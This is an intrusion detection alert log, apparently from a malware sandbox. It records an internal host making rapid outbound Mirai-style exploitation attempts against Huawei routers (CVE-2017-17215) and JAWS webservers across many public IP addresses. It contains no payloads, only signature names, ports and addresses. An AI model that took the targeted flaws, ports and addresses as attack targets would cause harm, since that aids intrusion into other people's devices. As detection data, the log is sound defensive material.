2024-12-03T22:17:28.961661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42582	41.105.24.147	37215	TCP
2024-12-03T22:17:29.852239+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34528	19.72.54.148	80	TCP
2024-12-03T22:17:29.852239+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34528	19.72.54.148	80	TCP
2024-12-03T22:17:29.890287+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43992	60.107.3.197	80	TCP
2024-12-03T22:17:29.890287+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43992	60.107.3.197	80	TCP
2024-12-03T22:17:29.898980+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41636	115.201.93.86	80	TCP
2024-12-03T22:17:29.898980+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41636	115.201.93.86	80	TCP
2024-12-03T22:17:29.899200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56466	133.82.186.56	80	TCP
2024-12-03T22:17:29.899200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56466	133.82.186.56	80	TCP
2024-12-03T22:17:29.905440+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35746	38.198.70.85	80	TCP
2024-12-03T22:17:29.905440+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35746	38.198.70.85	80	TCP
2024-12-03T22:17:29.921221+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35168	212.255.25.29	80	TCP
2024-12-03T22:17:29.921221+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35168	212.255.25.29	80	TCP
2024-12-03T22:17:29.936959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33068	177.162.222.141	80	TCP
2024-12-03T22:17:29.936959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33068	177.162.222.141	80	TCP
2024-12-03T22:17:29.937019+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46532	198.182.59.171	80	TCP
2024-12-03T22:17:29.937019+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46532	198.182.59.171	80	TCP
2024-12-03T22:17:29.952483+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47796	72.191.2.154	80	TCP
2024-12-03T22:17:29.952483+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47796	72.191.2.154	80	TCP
2024-12-03T22:17:29.977259+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45194	171.42.171.209	80	TCP
2024-12-03T22:17:29.977259+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45194	171.42.171.209	80	TCP
2024-12-03T22:17:29.977500+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40022	47.154.42.249	80	TCP
2024-12-03T22:17:29.977500+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40022	47.154.42.249	80	TCP
2024-12-03T22:17:29.977600+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35706	100.184.128.42	80	TCP
2024-12-03T22:17:29.977600+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35706	100.184.128.42	80	TCP
2024-12-03T22:17:30.522011+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41164	108.157.64.85	80	TCP
2024-12-03T22:17:30.522011+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41164	108.157.64.85	80	TCP
2024-12-03T22:17:30.813583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45158	2.112.110.195	80	TCP
2024-12-03T22:17:30.813583+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45158	2.112.110.195	80	TCP
2024-12-03T22:17:30.813600+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44266	70.62.179.41	80	TCP
2024-12-03T22:17:30.813600+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44266	70.62.179.41	80	TCP
2024-12-03T22:17:30.842935+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35624	126.207.149.173	80	TCP
2024-12-03T22:17:30.842935+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35624	126.207.149.173	80	TCP
2024-12-03T22:17:30.842949+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49800	110.147.154.44	80	TCP
2024-12-03T22:17:30.842949+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49800	110.147.154.44	80	TCP
2024-12-03T22:17:30.843513+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32992	124.158.8.208	80	TCP
2024-12-03T22:17:30.843513+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32992	124.158.8.208	80	TCP
2024-12-03T22:17:30.843521+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44168	216.39.174.179	80	TCP
2024-12-03T22:17:30.843521+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44168	216.39.174.179	80	TCP
2024-12-03T22:17:30.843539+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59760	58.174.175.10	80	TCP
2024-12-03T22:17:30.843539+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59760	58.174.175.10	80	TCP
2024-12-03T22:17:30.843558+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43494	181.161.118.4	80	TCP
2024-12-03T22:17:30.843558+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43494	181.161.118.4	80	TCP
2024-12-03T22:17:30.868432+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47310	69.137.126.16	80	TCP
2024-12-03T22:17:30.868432+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47310	69.137.126.16	80	TCP
2024-12-03T22:17:30.868447+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33848	169.16.2.19	80	TCP
2024-12-03T22:17:30.868447+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33848	169.16.2.19	80	TCP
2024-12-03T22:17:30.871451+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57684	39.107.190.186	80	TCP
2024-12-03T22:17:30.871451+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57684	39.107.190.186	80	TCP
2024-12-03T22:17:30.874633+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55374	27.214.244.99	80	TCP
2024-12-03T22:17:30.874633+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55374	27.214.244.99	80	TCP
2024-12-03T22:17:30.874636+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58582	156.88.184.39	80	TCP
2024-12-03T22:17:30.874636+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58582	156.88.184.39	80	TCP
2024-12-03T22:17:30.874638+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37068	51.238.123.249	80	TCP
2024-12-03T22:17:30.874638+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37068	51.238.123.249	80	TCP
2024-12-03T22:17:30.874659+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49052	42.204.247.0	80	TCP
2024-12-03T22:17:30.874659+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49052	42.204.247.0	80	TCP
2024-12-03T22:17:30.883606+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55402	140.48.108.4	80	TCP
2024-12-03T22:17:30.883606+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55402	140.48.108.4	80	TCP
2024-12-03T22:17:30.883629+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54596	73.8.27.189	80	TCP
2024-12-03T22:17:30.883629+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54596	73.8.27.189	80	TCP
2024-12-03T22:17:30.889909+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50052	5.72.202.83	80	TCP
2024-12-03T22:17:30.889909+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50052	5.72.202.83	80	TCP
2024-12-03T22:17:30.890447+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35542	63.181.115.218	80	TCP
2024-12-03T22:17:30.890447+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35542	63.181.115.218	80	TCP
2024-12-03T22:17:30.890460+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49968	23.247.191.235	80	TCP
2024-12-03T22:17:30.890460+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49968	23.247.191.235	80	TCP
2024-12-03T22:17:30.890478+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36304	62.10.205.217	80	TCP
2024-12-03T22:17:30.890478+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36304	62.10.205.217	80	TCP
2024-12-03T22:17:30.891069+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52078	35.76.116.40	80	TCP
2024-12-03T22:17:30.891069+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52078	35.76.116.40	80	TCP
2024-12-03T22:17:30.891071+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44966	150.22.167.224	80	TCP
2024-12-03T22:17:30.891071+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44966	150.22.167.224	80	TCP
2024-12-03T22:17:30.891075+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55510	190.209.237.135	80	TCP
2024-12-03T22:17:30.891075+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55510	190.209.237.135	80	TCP
2024-12-03T22:17:30.891079+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33086	124.36.163.15	80	TCP
2024-12-03T22:17:30.891079+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33086	124.36.163.15	80	TCP
2024-12-03T22:17:30.891559+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47754	136.230.17.227	80	TCP
2024-12-03T22:17:30.891559+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47754	136.230.17.227	80	TCP
2024-12-03T22:17:30.891580+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55012	38.44.88.84	80	TCP
2024-12-03T22:17:30.891580+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55012	38.44.88.84	80	TCP
2024-12-03T22:17:30.891588+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39982	197.144.143.181	37215	TCP
2024-12-03T22:17:30.899305+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39588	220.17.106.6	80	TCP
2024-12-03T22:17:30.899305+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39588	220.17.106.6	80	TCP
2024-12-03T22:17:30.899592+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58626	105.244.168.95	80	TCP
2024-12-03T22:17:30.899592+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58626	105.244.168.95	80	TCP
2024-12-03T22:17:30.899927+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50226	177.251.155.124	80	TCP
2024-12-03T22:17:30.899927+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50226	177.251.155.124	80	TCP
2024-12-03T22:17:30.900494+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43066	201.144.89.148	80	TCP
2024-12-03T22:17:30.900494+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43066	201.144.89.148	80	TCP
2024-12-03T22:17:30.900500+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32844	200.142.198.135	80	TCP
2024-12-03T22:17:30.900500+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32844	200.142.198.135	80	TCP
2024-12-03T22:17:30.931332+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45184	172.250.40.76	80	TCP
2024-12-03T22:17:30.931332+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45184	172.250.40.76	80	TCP
2024-12-03T22:17:30.931362+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33758	132.110.148.170	80	TCP
2024-12-03T22:17:30.931362+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33758	132.110.148.170	80	TCP
2024-12-03T22:17:30.931385+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45306	86.70.243.96	80	TCP
2024-12-03T22:17:30.931385+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45306	86.70.243.96	80	TCP
2024-12-03T22:17:30.931406+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57008	200.140.138.147	80	TCP
2024-12-03T22:17:30.931406+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57008	200.140.138.147	80	TCP
2024-12-03T22:17:30.945979+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60240	71.219.12.131	80	TCP
2024-12-03T22:17:30.945979+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60240	71.219.12.131	80	TCP
2024-12-03T22:17:31.196085+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49322	41.78.113.96	37215	TCP
2024-12-03T22:17:31.202574+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40508	156.52.61.114	37215	TCP
2024-12-03T22:17:31.296082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56274	197.115.249.67	37215	TCP
2024-12-03T22:17:31.311827+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35810	156.92.200.1	37215	TCP
2024-12-03T22:17:31.311849+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54448	156.169.1.97	37215	TCP
2024-12-03T22:17:31.311870+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35610	156.9.9.89	37215	TCP
2024-12-03T22:17:31.321061+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57680	41.90.62.40	37215	TCP
2024-12-03T22:17:31.327195+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59198	197.93.50.27	37215	TCP
2024-12-03T22:17:31.327254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49052	41.14.17.142	37215	TCP
2024-12-03T22:17:31.336454+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48452	41.196.59.170	37215	TCP
2024-12-03T22:17:31.336588+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52828	41.125.152.211	37215	TCP
2024-12-03T22:17:31.352359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49904	197.27.121.87	37215	TCP
2024-12-03T22:17:31.820072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57572	160.2.24.187	80	TCP
2024-12-03T22:17:31.820072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57572	160.2.24.187	80	TCP
2024-12-03T22:17:31.836861+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50578	218.29.246.16	80	TCP
2024-12-03T22:17:31.836861+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50578	218.29.246.16	80	TCP
2024-12-03T22:17:31.843144+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43988	198.32.122.228	80	TCP
2024-12-03T22:17:31.843144+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43988	198.32.122.228	80	TCP
2024-12-03T22:17:31.852131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60684	63.137.95.64	80	TCP
2024-12-03T22:17:31.852131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60684	63.137.95.64	80	TCP
2024-12-03T22:17:31.858490+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38306	75.182.33.246	80	TCP
2024-12-03T22:17:31.858490+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38306	75.182.33.246	80	TCP
2024-12-03T22:17:31.858583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35852	92.179.185.109	80	TCP
2024-12-03T22:17:31.858583+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35852	92.179.185.109	80	TCP
2024-12-03T22:17:31.893521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51618	41.83.167.213	37215	TCP
2024-12-03T22:17:31.899042+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57676	180.220.252.83	80	TCP
2024-12-03T22:17:31.899042+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57676	180.220.252.83	80	TCP
2024-12-03T22:17:31.930195+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50926	115.66.129.32	80	TCP
2024-12-03T22:17:31.930195+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50926	115.66.129.32	80	TCP
2024-12-03T22:17:31.936793+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33594	37.123.150.153	80	TCP
2024-12-03T22:17:31.936793+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33594	37.123.150.153	80	TCP
2024-12-03T22:17:32.015284+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48782	195.200.142.23	80	TCP
2024-12-03T22:17:32.015284+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48782	195.200.142.23	80	TCP
2024-12-03T22:17:32.040085+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42958	63.80.245.216	80	TCP
2024-12-03T22:17:32.040085+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42958	63.80.245.216	80	TCP
2024-12-03T22:17:32.180371+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52938	156.59.49.123	37215	TCP
2024-12-03T22:17:32.202497+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38276	156.190.253.78	37215	TCP
2024-12-03T22:17:32.227297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48064	41.10.198.228	37215	TCP
2024-12-03T22:17:32.577516+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47998	156.69.225.37	37215	TCP
2024-12-03T22:17:33.187064+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40718	156.208.52.241	37215	TCP
2024-12-03T22:17:33.218466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40926	197.105.244.70	37215	TCP
2024-12-03T22:17:33.227172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52280	41.183.102.85	37215	TCP
2024-12-03T22:17:33.227302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38664	156.172.224.255	37215	TCP
2024-12-03T22:17:33.227607+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48908	197.214.166.194	37215	TCP
2024-12-03T22:17:33.227627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53936	197.56.91.125	37215	TCP
2024-12-03T22:17:33.227661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50030	156.7.106.195	37215	TCP
2024-12-03T22:17:33.227861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46648	41.184.151.87	37215	TCP
2024-12-03T22:17:33.233612+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58786	156.183.226.15	37215	TCP
2024-12-03T22:17:33.233722+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48086	41.226.216.73	37215	TCP
2024-12-03T22:17:33.249058+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55496	41.227.141.5	37215	TCP
2024-12-03T22:17:33.265038+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57660	2.93.19.236	80	TCP
2024-12-03T22:17:33.265038+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57660	2.93.19.236	80	TCP
2024-12-03T22:17:33.265186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44394	41.38.160.169	37215	TCP
2024-12-03T22:17:33.274228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60044	41.254.203.185	37215	TCP
2024-12-03T22:17:33.289914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57946	197.76.109.180	37215	TCP
2024-12-03T22:17:33.436644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41276	41.196.197.161	37215	TCP
2024-12-03T22:17:33.524125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57786	197.38.60.230	37215	TCP
2024-12-03T22:17:33.539693+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36672	41.200.27.182	37215	TCP
2024-12-03T22:17:33.539821+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43430	41.69.219.160	37215	TCP
2024-12-03T22:17:33.561556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57056	41.145.182.114	37215	TCP
2024-12-03T22:17:33.561770+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51606	156.206.56.56	37215	TCP
2024-12-03T22:17:33.592865+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47750	156.106.22.139	37215	TCP
2024-12-03T22:17:33.592943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56230	156.97.198.178	37215	TCP
2024-12-03T22:17:33.608745+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43902	197.241.105.170	37215	TCP
2024-12-03T22:17:33.649148+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38242	197.36.125.136	37215	TCP
2024-12-03T22:17:33.649231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55366	197.86.128.82	37215	TCP
2024-12-03T22:17:34.218379+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43386	47.93.110.143	80	TCP
2024-12-03T22:17:34.218379+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43386	47.93.110.143	80	TCP
2024-12-03T22:17:34.321112+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35864	204.181.218.48	80	TCP
2024-12-03T22:17:34.321112+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35864	204.181.218.48	80	TCP
2024-12-03T22:17:34.343131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57022	124.30.74.118	80	TCP
2024-12-03T22:17:34.343131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57022	124.30.74.118	80	TCP
2024-12-03T22:17:34.343141+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59466	208.169.160.191	80	TCP
2024-12-03T22:17:34.343141+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59466	208.169.160.191	80	TCP
2024-12-03T22:17:34.390050+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50138	197.213.62.19	37215	TCP
2024-12-03T22:17:34.390125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45964	156.139.198.243	37215	TCP
2024-12-03T22:17:34.399229+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40896	86.145.3.22	80	TCP
2024-12-03T22:17:34.399229+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40896	86.145.3.22	80	TCP
2024-12-03T22:17:34.399310+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57344	77.152.79.148	80	TCP
2024-12-03T22:17:34.399310+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57344	77.152.79.148	80	TCP
2024-12-03T22:17:34.399443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51708	197.96.222.51	37215	TCP
